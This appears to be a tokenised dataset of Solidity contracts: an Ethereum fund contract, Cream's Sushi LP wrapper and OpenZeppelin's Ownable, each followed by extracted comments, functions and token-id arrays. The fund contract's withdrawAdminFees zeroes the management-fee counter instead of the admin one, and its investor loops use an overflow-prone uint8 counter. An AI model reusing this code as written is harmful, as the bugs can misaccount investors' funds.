public adminFeeBps; // annual administrative fee, if any, in basis points uint public mgmtFeeBps; // annual base management fee, if any, in basis points uint public performFeeBps; // performance management fee earned on gains, in basis points address public manager; // address of the manager account allowed to withdraw base and performance management fees address public exchange; // address of the exchange account where the manager conducts trading. // Variables that are updated after each call to the calcNav function uint public lastCalcDate; uint public navPerShare; uint public accumulatedMgmtFees; uint public accumulatedAdminFees; uint public lossCarryforward; // Fund Balances uint public totalEthPendingSubscription; // total subscription requests not yet processed by the manager, denominated in ether uint public totalSharesPendingRedemption; // total redemption requests not yet processed by the manager, denominated in shares uint public totalEthPendingWithdrawal; // total payments not yet withdrawn by investors, denominated in shares uint public totalSupply; // total number of shares outstanding // Modules: where possible, fund logic is delegated to the module contracts below, so that they can be patched and upgraded after contract deployment INavCalculator public navCalculator; // calculating net asset value IInvestorActions public investorActions; // performing investor actions such as subscriptions, redemptions, and withdrawals IDataFeed public dataFeed; // fetching external data like total portfolio value and exchange rates // This struct tracks fund-related balances for a specific investor address struct Investor { uint ethTotalAllocation; // Total allocation allowed for an investor, denominated in ether uint ethPendingSubscription; // Ether deposited by an investor not yet proceessed by the manager uint sharesOwned; // Balance of shares owned by an investor. For investors, this is identical to the ERC20 balances variable. uint sharesPendingRedemption; // Redemption requests not yet processed by the manager uint ethPendingWithdrawal; // Payments available for withdrawal by an investor } mapping (address => Investor) public investors; address[] investorAddresses; // Events event LogAllocationModification(address indexed investor, uint eth); event LogSubscriptionRequest(address indexed investor, uint eth, uint usdEthBasis); event LogSubscriptionCancellation(address indexed investor); event LogSubscription(address indexed investor, uint shares, uint navPerShare, uint usdEthExchangeRate); event LogRedemptionRequest(address indexed investor, uint shares); event LogRedemptionCancellation(address indexed investor); event LogRedemption(address indexed investor, uint shares, uint navPerShare, uint usdEthExchangeRate); event LogLiquidation(address indexed investor, uint shares, uint navPerShare, uint usdEthExchangeRate); event LogWithdrawal(address indexed investor, uint eth); event LogNavSnapshot(uint indexed timestamp, uint navPerShare, uint lossCarryforward, uint accumulatedMgmtFees, uint accumulatedAdminFees); event LogManagerAddressChanged(address oldAddress, address newAddress); event LogExchangeAddressChanged(address oldAddress, address newAddress); event LogNavCalculatorModuleChanged(address oldAddress, address newAddress); event LogInvestorActionsModuleChanged(address oldAddress, address newAddress); event LogDataFeedModuleChanged(address oldAddress, address newAddress); event LogTransferToExchange(uint amount); event LogTransferFromExchange(uint amount); event LogManagementFeeWithdrawal(uint amountInEth, uint usdEthExchangeRate); event LogAdminFeeWithdrawal(uint amountInEth, uint usdEthExchangeRate); // Modifiers modifier onlyFromExchange { require(msg.sender == exchange); _; } modifier onlyManager { require(msg.sender == manager); _; } /** * @dev Constructor function that creates a fund * This function is payable and treats any ether sent as part of the manager's own investment in the fund. */ function Fund( address _manager, address _exchange, address _navCalculator, address _investorActions, address _dataFeed, string _name, string _symbol, uint _decimals, uint _minInitialSubscriptionEth, uint _minSubscriptionEth, uint _minRedemptionShares, uint _adminFeeBps, uint _mgmtFeeBps, uint _performFeeBps, uint _managerUsdEthBasis ) { // Constants name = _name; symbol = _symbol; decimals = _decimals; minSubscriptionEth = _minSubscriptionEth; minInitialSubscriptionEth = _minInitialSubscriptionEth; minRedemptionShares = _minRedemptionShares; adminFeeBps = _adminFeeBps; mgmtFeeBps = _mgmtFeeBps; performFeeBps = _performFeeBps; // Set the addresses of other wallets/contracts with which this contract interacts manager = _manager; exchange = _exchange; navCalculator = INavCalculator(_navCalculator); investorActions = IInvestorActions(_investorActions); dataFeed = IDataFeed(_dataFeed); // Set the initial net asset value calculation variables lastCalcDate = now; navPerShare = 10 ** decimals; // Treat existing funds in the exchange relay and the portfolio as the manager's own investment // Amounts are included in fee calculations since the fees are going to the manager anyway. // TestRPC: dataFeed.value should be zero // TestNet: ensure that the exchange account balance is zero or near zero uint managerShares = ethToShares(exchange.balance) + dataFeed.value(); totalSupply = managerShares; investors[manager].ethTotalAllocation = sharesToEth(managerShares); investors[manager].sharesOwned = managerShares; LogAllocationModification(manager, sharesToEth(managerShares)); LogSubscription(manager, managerShares, navPerShare, _managerUsdEthBasis); } // [INVESTOR METHOD] Returns the variables contained in the Investor struct for a given address function getInvestor(address _addr) constant returns ( uint ethTotalAllocation, uint ethPendingSubscription, uint sharesOwned, uint sharesPendingRedemption, uint ethPendingWithdrawal ) { Investor storage investor = investors[_addr]; return (investor.ethTotalAllocation, investor.ethPendingSubscription, investor.sharesOwned, investor.sharesPendingRedemption, investor.ethPendingWithdrawal); } // ********* SUBSCRIPTIONS ********* // Modifies the max investment limit allowed for an investor // Delegates logic to the InvestorActions module function modifyAllocation(address _addr, uint _allocation) onlyOwner returns (bool success) { // Adds the investor to investorAddresses array if their previous allocation was zero if (investors[_addr].ethTotalAllocation == 0) { // Check if address already exists before adding bool addressExists; for (uint i = 0; i < investorAddresses.length; i++) { if (_addr == investorAddresses[i]) { addressExists = true; i = investorAddresses.length; } } if (!addressExists) { investorAddresses.push(_addr); } } uint ethTotalAllocation = investorActions.modifyAllocation(_addr, _allocation); investors[_addr].ethTotalAllocation = ethTotalAllocation; LogAllocationModification(_addr, _allocation); return true; } // [INVESTOR METHOD] External wrapper for the getAvailableAllocation function in InvestorActions // Delegates logic to the InvestorActions module function getAvailableAllocation(address _addr) constant returns (uint ethAvailableAllocation) { return investorActions.getAvailableAllocation(_addr); } // Non-payable fallback function so that any attempt to send ETH directly to the contract is thrown function () payable onlyFromExchange { remitFromExchange(); } // [INVESTOR METHOD] Issue a subscription request by transferring ether into the fund // Delegates logic to the InvestorActions module // usdEthBasis is expressed in USD cents. For example, for a rate of 300.01, _usdEthBasis = 30001 function requestSubscription(uint _usdEthBasis) whenNotPaused payable returns (bool success) { var (_ethPendingSubscription, _totalEthPendingSubscription) = investorActions.requestSubscription(msg.sender, msg.value); investors[msg.sender].ethPendingSubscription = _ethPendingSubscription; totalEthPendingSubscription = _totalEthPendingSubscription; LogSubscriptionRequest(msg.sender, msg.value, _usdEthBasis); return true; } // [INVESTOR METHOD] Cancels a subscription request // Delegates logic to the InvestorActions module function cancelSubscription() whenNotPaused returns (bool success) { var (_ethPendingSubscription, _ethPendingWithdrawal, _totalEthPendingSubscription, _totalEthPendingWithdrawal) = investorActions.cancelSubscription(msg.sender); investors[msg.sender].ethPendingSubscription = _ethPendingSubscription; investors[msg.sender].ethPendingWithdrawal = _ethPendingWithdrawal; totalEthPendingSubscription = _totalEthPendingSubscription; totalEthPendingWithdrawal = _totalEthPendingWithdrawal; LogSubscriptionCancellation(msg.sender); return true; } // Fulfill one subscription request // Delegates logic to the InvestorActions module function subscribe(address _addr) internal returns (bool success) { var (ethPendingSubscription, sharesOwned, shares, transferAmount, _totalSupply, _totalEthPendingSubscription) = investorActions.subscribe(_addr); investors[_addr].ethPendingSubscription = ethPendingSubscription; investors[_addr].sharesOwned = sharesOwned; totalSupply = _totalSupply; totalEthPendingSubscription = _totalEthPendingSubscription; exchange.transfer(transferAmount); LogSubscription(_addr, shares, navPerShare, dataFeed.usdEth()); LogTransferToExchange(transferAmount); return true; } function subscribeInvestor(address _addr) onlyOwner returns (bool success) { subscribe(_addr); return true; } // Fulfill all outstanding subsription requests // *Note re: gas - if there are too many investors (i.e. this process exceeds gas limits), // fallback is to subscribe() each individually function fillAllSubscriptionRequests() onlyOwner returns (bool allSubscriptionsFilled) { for (uint8 i = 0; i < investorAddresses.length; i++) { address addr = investorAddresses[i]; if (investors[addr].ethPendingSubscription > 0) { subscribe(addr); } } return true; } // ********* REDEMPTIONS ********* // Returns the total redemption requests not yet processed by the manager, denominated in ether function totalEthPendingRedemption() constant returns (uint) { return sharesToEth(totalSharesPendingRedemption); } // [INVESTOR METHOD] Issue a redemption request // Delegates logic to the InvestorActions module function requestRedemption(uint _shares) whenNotPaused returns (bool success) { var (sharesPendingRedemption, _totalSharesPendingRedemption) = investorActions.requestRedemption(msg.sender, _shares); investors[msg.sender].sharesPendingRedemption = sharesPendingRedemption; totalSharesPendingRedemption = _totalSharesPendingRedemption; LogRedemptionRequest(msg.sender, _shares); return true; } // [INVESTOR METHOD] Cancels a redemption request // Delegates logic to the InvestorActions module function cancelRedemption() returns (bool success) { var (_sharesPendingRedemption, _totalSharesPendingRedemption) = investorActions.cancelRedemption(msg.sender); investors[msg.sender].sharesPendingRedemption = _sharesPendingRedemption; totalSharesPendingRedemption = _totalSharesPendingRedemption; LogRedemptionCancellation(msg.sender); return true; } // Fulfill one redemption request // Delegates logic to the InvestorActions module // Fulfill one sharesPendingRedemption request function redeem(address _addr) internal returns (bool success) { var (sharesOwned, sharesPendingRedemption, ethPendingWithdrawal, shares, _totalSupply, _totalSharesPendingRedemption, _totalEthPendingWithdrawal) = investorActions.redeem(_addr); investors[_addr].sharesOwned = sharesOwned; investors[_addr].sharesPendingRedemption = sharesPendingRedemption; investors[_addr].ethPendingWithdrawal = ethPendingWithdrawal; totalSupply = _totalSupply; totalSharesPendingRedemption = _totalSharesPendingRedemption; totalEthPendingWithdrawal = _totalEthPendingWithdrawal; LogRedemption(_addr, shares, navPerShare, dataFeed.usdEth()); return true; } function redeemInvestor(address _addr) onlyOwner returns (bool success) { redeem(_addr); return true; } // Fulfill all outstanding redemption requests // Delegates logic to the InvestorActions module // See note on gas/for loop in fillAllSubscriptionRequests function fillAllRedemptionRequests() onlyOwner returns (bool success) { require(totalEthPendingRedemption() <= this.balance.sub(totalEthPendingWithdrawal).sub(totalEthPendingSubscription)); for (uint i = 0; i < investorAddresses.length; i++) { address addr = investorAddresses[i]; if (investors[addr].sharesPendingRedemption > 0) { redeem(addr); } } return true; } // ********* LIQUIDATIONS ********* // Converts all of an investor's shares to ether and makes it available for withdrawal. Also makes the investor's allocation zero to prevent future investment. // Delegates logic to the InvestorActions module function liquidate(address _addr) internal returns (bool success) { var (ethPendingWithdrawal, shares, _totalEthPendingSubscription, _totalSharesPendingRedemption, _totalSupply, _totalEthPendingWithdrawal) = investorActions.liquidate(_addr); investors[_addr].ethTotalAllocation = 0; investors[_addr].ethPendingSubscription = 0; investors[_addr].sharesOwned = 0; investors[_addr].sharesPendingRedemption = 0; investors[_addr].ethPendingWithdrawal = ethPendingWithdrawal; totalEthPendingSubscription = _totalEthPendingSubscription; totalSharesPendingRedemption = _totalSharesPendingRedemption; totalSupply = _totalSupply; totalEthPendingWithdrawal = _totalEthPendingWithdrawal; LogLiquidation(_addr, shares, navPerShare, dataFeed.usdEth()); return true; } function liquidateInvestor(address _addr) onlyOwner returns (bool success) { liquidate(_addr); return true; } // Liquidates all investors // See note on gas/for loop in fillAllSubscriptionRequests function liquidateAllInvestors() onlyOwner returns (bool success) { for (uint8 i = 0; i < investorAddresses.length; i++) { address addr = investorAddresses[i]; liquidate(addr); } return true; } // ********* WITHDRAWALS ********* // Withdraw payment in the ethPendingWithdrawal balance // Delegates logic to the InvestorActions module function withdrawPayment() whenNotPaused returns (bool success) { var (payment, ethPendingWithdrawal, _totalEthPendingWithdrawal) = investorActions.withdraw(msg.sender); investors[msg.sender].ethPendingWithdrawal = ethPendingWithdrawal; totalEthPendingWithdrawal = _totalEthPendingWithdrawal; msg.sender.transfer(payment); LogWithdrawal(msg.sender, payment); return true; } // ********* NAV CALCULATION ********* // Calculate and update NAV per share, lossCarryforward (the amount of losses that the fund to make up in order to start earning performance fees), // and accumulated management fee balaces. // Delegates logic to the NavCalculator module function calcNav() onlyOwner returns (bool success) { var ( _lastCalcDate, _navPerShare, _lossCarryforward, _accumulatedMgmtFees, _accumulatedAdminFees ) = navCalculator.calculate(); lastCalcDate = _lastCalcDate; navPerShare = _navPerShare; lossCarryforward = _lossCarryforward; accumulatedMgmtFees = _accumulatedMgmtFees; accumulatedAdminFees = _accumulatedAdminFees; LogNavSnapshot(lastCalcDate, navPerShare, lossCarryforward, accumulatedMgmtFees, accumulatedAdminFees); return true; } // ********* FEES ********* // Withdraw management fees from the contract function withdrawMgmtFees() whenNotPaused onlyManager returns (bool success) { uint ethWithdrawal = usdToEth(accumulatedMgmtFees); require(ethWithdrawal <= getBalance()); address payee = msg.sender; accumulatedMgmtFees = 0; payee.transfer(ethWithdrawal); LogManagementFeeWithdrawal(ethWithdrawal, dataFeed.usdEth()); return true; } // Withdraw management fees from the contract function withdrawAdminFees() whenNotPaused onlyOwner returns (bool success) { uint ethWithdrawal = usdToEth(accumulatedAdminFees); require(ethWithdrawal <= getBalance()); address payee = msg.sender; accumulatedMgmtFees = 0; payee.transfer(ethWithdrawal); LogAdminFeeWithdrawal(ethWithdrawal, dataFeed.usdEth()); return true; } // ********* CONTRACT MAINTENANCE ********* // Returns a list of all investor addresses function getInvestorAddresses() constant onlyOwner returns (address[]) { return investorAddresses; } // Update the address of the manager account function setManager(address _addr) whenNotPaused onlyManager returns (bool success) { require(_addr != address(0)); address old = manager; manager = _addr; LogManagerAddressChanged(old, _addr); return true; } // Update the address of the exchange account function setExchange(address _addr) onlyOwner returns (bool success) { require(_addr != address(0)); address old = exchange; exchange = _addr; LogExchangeAddressChanged(old, _addr); return true; } // Update the address of the NAV Calculator module function setNavCalculator(address _addr) onlyOwner returns (bool success) { require(_addr != address(0)); address old = navCalculator; navCalculator = INavCalculator(_addr); LogNavCalculatorModuleChanged(old, _addr); return true; } // Update the address of the Investor Actions module function setInvestorActions(address _addr) onlyOwner returns (bool success) { require(_addr != address(0)); address old = investorActions; investorActions = IInvestorActions(_addr); LogInvestorActionsModuleChanged(old, _addr); return true; } // Update the address of the data feed contract function setDataFeed(address _addr) onlyOwner returns (bool success) { require(_addr != address(0)); address old = dataFeed; dataFeed = IDataFeed(_addr); LogDataFeedModuleChanged(old, _addr); return true; } // Utility function for exchange to send funds to contract function remitFromExchange() payable onlyFromExchange returns (bool success) { LogTransferFromExchange(msg.value); return true; } // Utility function for contract to send funds to exchange function sendToExchange(uint amount) onlyOwner returns (bool success) { require(amount <= this.balance.sub(totalEthPendingSubscription).sub(totalEthPendingWithdrawal)); exchange.transfer(amount); LogTransferToExchange(amount); return true; } // ********* HELPERS ********* // Converts ether to a corresponding number of shares based on the current nav per share function ethToShares(uint _eth) constant returns (uint shares) { return ethToUsd(_eth).mul(10 ** decimals).div(navPerShare); } // Converts shares to a corresponding amount of ether based on the current nav per share function sharesToEth(uint _shares) constant returns (uint ethAmount) { return usdToEth(_shares.mul(navPerShare).div(10 ** decimals)); } function usdToEth(uint _usd) constant returns (uint eth) { return _usd.mul(1e18).div(dataFeed.usdEth()); } function ethToUsd(uint _eth) constant returns (uint usd) { return _eth.mul(dataFeed.usdEth()).div(1e18); } // Returns the fund's balance less pending subscriptions and withdrawals function getBalance() constant returns (uint ethAmount) { return this.balance.sub(totalEthPendingSubscription).sub(totalEthPendingWithdrawal); } }
total payments not yet withdrawn by investors, denominated in shares
uint public totalEthPendingWithdrawal;
1,845,851
[ 1, 4963, 25754, 486, 4671, 598, 9446, 82, 635, 2198, 395, 1383, 16, 10716, 7458, 316, 24123, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 565, 1071, 2078, 41, 451, 8579, 1190, 9446, 287, 31, 4202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "./CCapableErc20Delegate.sol"; import "../EIP20Interface.sol"; // Ref: https://etherscan.io/address/0xc2edad668740f1aa35e4d8f227fb8e17dca888cd#code interface IMasterChef { struct PoolInfo { address lpToken; } struct UserInfo { uint256 amount; } function deposit(uint256, uint256) external; function withdraw(uint256, uint256) external; function sushi() external view returns (address); function poolInfo(uint256) external view returns (PoolInfo memory); function userInfo(uint256, address) external view returns (UserInfo memory); function pendingSushi(uint256, address) external view returns (uint256); } // Ref: https://etherscan.io/address/0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272#code interface ISushiBar { function enter(uint256 _amount) external; function leave(uint256 _share) external; } /** * @title Cream's CSushiLP's Contract * @notice CToken which wraps Sushi's LP token * @author Cream */ contract CSLPDelegate is CCapableErc20Delegate { /** * @notice MasterChef address */ address public masterChef; /** * @notice SushiBar address */ address public sushiBar; /** * @notice Sushi token address */ address public sushi; /** * @notice Pool ID of this LP in MasterChef */ uint256 public pid; /** * @notice Container for sushi rewards state * @member balance The balance of xSushi * @member index The last updated index */ struct SushiRewardState { uint256 balance; uint256 index; } /** * @notice The state of SLP supply */ SushiRewardState public slpSupplyState; /** * @notice The index of every SLP supplier */ mapping(address => uint256) public slpSupplierIndex; /** * @notice The xSushi amount of every user */ mapping(address => uint256) public xSushiUserAccrued; /** * @notice Delegate interface to become the implementation * @param data The encoded arguments for becoming */ function _becomeImplementation(bytes memory data) public { super._becomeImplementation(data); (address masterChefAddress_, address sushiBarAddress_, uint256 pid_) = abi.decode( data, (address, address, uint256) ); masterChef = masterChefAddress_; sushiBar = sushiBarAddress_; sushi = IMasterChef(masterChef).sushi(); IMasterChef.PoolInfo memory poolInfo = IMasterChef(masterChef).poolInfo(pid_); require(poolInfo.lpToken == underlying, "mismatch underlying token"); pid = pid_; // Approve moving our SLP into the master chef contract. EIP20Interface(underlying).approve(masterChefAddress_, uint256(-1)); // Approve moving sushi rewards into the sushi bar contract. EIP20Interface(sushi).approve(sushiBarAddress_, uint256(-1)); } /** * @notice Manually claim sushi rewards by user * @return The amount of sushi rewards user claims */ function claimSushi(address account) public returns (uint256) { claimAndStakeSushi(); updateSLPSupplyIndex(); updateSupplierIndex(account); // Get user's xSushi accrued. uint256 xSushiBalance = xSushiUserAccrued[account]; if (xSushiBalance > 0) { // Withdraw user xSushi balance and subtract the amount in slpSupplyState ISushiBar(sushiBar).leave(xSushiBalance); slpSupplyState.balance = sub_(slpSupplyState.balance, xSushiBalance); uint256 balance = sushiBalance(); EIP20Interface(sushi).transfer(account, balance); // Clear user's xSushi accrued. xSushiUserAccrued[account] = 0; return balance; } return 0; } /*** CToken Overrides ***/ /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens( address spender, address src, address dst, uint256 tokens ) internal returns (uint256) { claimAndStakeSushi(); updateSLPSupplyIndex(); updateSupplierIndex(src); updateSupplierIndex(dst); return super.transferTokens(spender, src, dst, tokens); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint256) { IMasterChef.UserInfo memory userInfo = IMasterChef(masterChef).userInfo(pid, address(this)); return userInfo.amount; } /** * @notice Transfer the underlying to this contract and sweep into master chef * @param from Address to transfer funds from * @param amount Amount of underlying to transfer * @param isNative The amount is in native or not * @return The actual amount that is transferred */ function doTransferIn( address from, uint256 amount, bool isNative ) internal returns (uint256) { isNative; // unused // Perform the EIP-20 transfer in EIP20Interface token = EIP20Interface(underlying); require(token.transferFrom(from, address(this), amount), "unexpected EIP-20 transfer in return"); // Deposit to masterChef. IMasterChef(masterChef).deposit(pid, amount); if (sushiBalance() > 0) { // Send sushi rewards to SushiBar. ISushiBar(sushiBar).enter(sushiBalance()); } updateSLPSupplyIndex(); updateSupplierIndex(from); return amount; } /** * @notice Transfer the underlying from this contract, after sweeping out of master chef * @param to Address to transfer funds to * @param amount Amount of underlying to transfer * @param isNative The amount is in native or not */ function doTransferOut( address payable to, uint256 amount, bool isNative ) internal { isNative; // unused // Withdraw the underlying tokens from masterChef. IMasterChef(masterChef).withdraw(pid, amount); if (sushiBalance() > 0) { // Send sushi rewards to SushiBar. ISushiBar(sushiBar).enter(sushiBalance()); } updateSLPSupplyIndex(); updateSupplierIndex(to); EIP20Interface token = EIP20Interface(underlying); require(token.transfer(to, amount), "unexpected EIP-20 transfer out return"); } /*** Internal functions ***/ function claimAndStakeSushi() internal { // Deposit 0 SLP into MasterChef to claim sushi rewards. IMasterChef(masterChef).deposit(pid, 0); if (sushiBalance() > 0) { // Send sushi rewards to SushiBar. ISushiBar(sushiBar).enter(sushiBalance()); } } function updateSLPSupplyIndex() internal { uint256 xSushiBalance = xSushiBalance(); uint256 xSushiAccrued = sub_(xSushiBalance, slpSupplyState.balance); uint256 supplyTokens = CToken(address(this)).totalSupply(); Double memory ratio = supplyTokens > 0 ? fraction(xSushiAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: slpSupplyState.index}), ratio); // Update slpSupplyState. slpSupplyState.index = index.mantissa; slpSupplyState.balance = xSushiBalance; } function updateSupplierIndex(address supplier) internal { Double memory supplyIndex = Double({mantissa: slpSupplyState.index}); Double memory supplierIndex = Double({mantissa: slpSupplierIndex[supplier]}); Double memory deltaIndex = sub_(supplyIndex, supplierIndex); if (deltaIndex.mantissa > 0) { uint256 supplierTokens = CToken(address(this)).balanceOf(supplier); uint256 supplierDelta = mul_(supplierTokens, deltaIndex); xSushiUserAccrued[supplier] = add_(xSushiUserAccrued[supplier], supplierDelta); slpSupplierIndex[supplier] = supplyIndex.mantissa; } } function sushiBalance() internal view returns (uint256) { return EIP20Interface(sushi).balanceOf(address(this)); } function xSushiBalance() internal view returns (uint256) { return EIP20Interface(sushiBar).balanceOf(address(this)); } }
* @notice Transfer the underlying to this contract and sweep into master chef @param from Address to transfer funds from @param amount Amount of underlying to transfer @param isNative The amount is in native or not @return The actual amount that is transferred/ Perform the EIP-20 transfer in Deposit to masterChef. Send sushi rewards to SushiBar.
function doTransferIn( address from, uint256 amount, bool isNative ) internal returns (uint256) { EIP20Interface token = EIP20Interface(underlying); require(token.transferFrom(from, address(this), amount), "unexpected EIP-20 transfer in return"); IMasterChef(masterChef).deposit(pid, amount); if (sushiBalance() > 0) { ISushiBar(sushiBar).enter(sushiBalance()); } updateSLPSupplyIndex(); updateSupplierIndex(from); return amount; }
14,068,004
[ 1, 5912, 326, 6808, 358, 333, 6835, 471, 17462, 1368, 4171, 462, 10241, 225, 628, 5267, 358, 7412, 284, 19156, 628, 225, 3844, 16811, 434, 6808, 358, 7412, 225, 8197, 1535, 1021, 3844, 353, 316, 6448, 578, 486, 327, 1021, 3214, 3844, 716, 353, 906, 4193, 19, 11217, 326, 512, 2579, 17, 3462, 7412, 316, 4019, 538, 305, 358, 4171, 39, 580, 74, 18, 2479, 272, 1218, 77, 283, 6397, 358, 348, 1218, 77, 5190, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 741, 5912, 382, 12, 203, 3639, 1758, 628, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1426, 8197, 1535, 203, 565, 262, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 203, 3639, 512, 2579, 3462, 1358, 1147, 273, 512, 2579, 3462, 1358, 12, 9341, 6291, 1769, 203, 3639, 2583, 12, 2316, 18, 13866, 1265, 12, 2080, 16, 1758, 12, 2211, 3631, 3844, 3631, 315, 21248, 512, 2579, 17, 3462, 7412, 316, 327, 8863, 203, 203, 3639, 6246, 2440, 39, 580, 74, 12, 7525, 39, 580, 74, 2934, 323, 1724, 12, 6610, 16, 3844, 1769, 203, 203, 3639, 309, 261, 87, 1218, 77, 13937, 1435, 405, 374, 13, 288, 203, 5411, 4437, 1218, 77, 5190, 12, 87, 1218, 77, 5190, 2934, 2328, 12, 87, 1218, 77, 13937, 10663, 203, 3639, 289, 203, 203, 3639, 1089, 4559, 52, 3088, 1283, 1016, 5621, 203, 3639, 1089, 13254, 1016, 12, 2080, 1769, 203, 203, 3639, 327, 3844, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.2; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/utils/Utils.sol 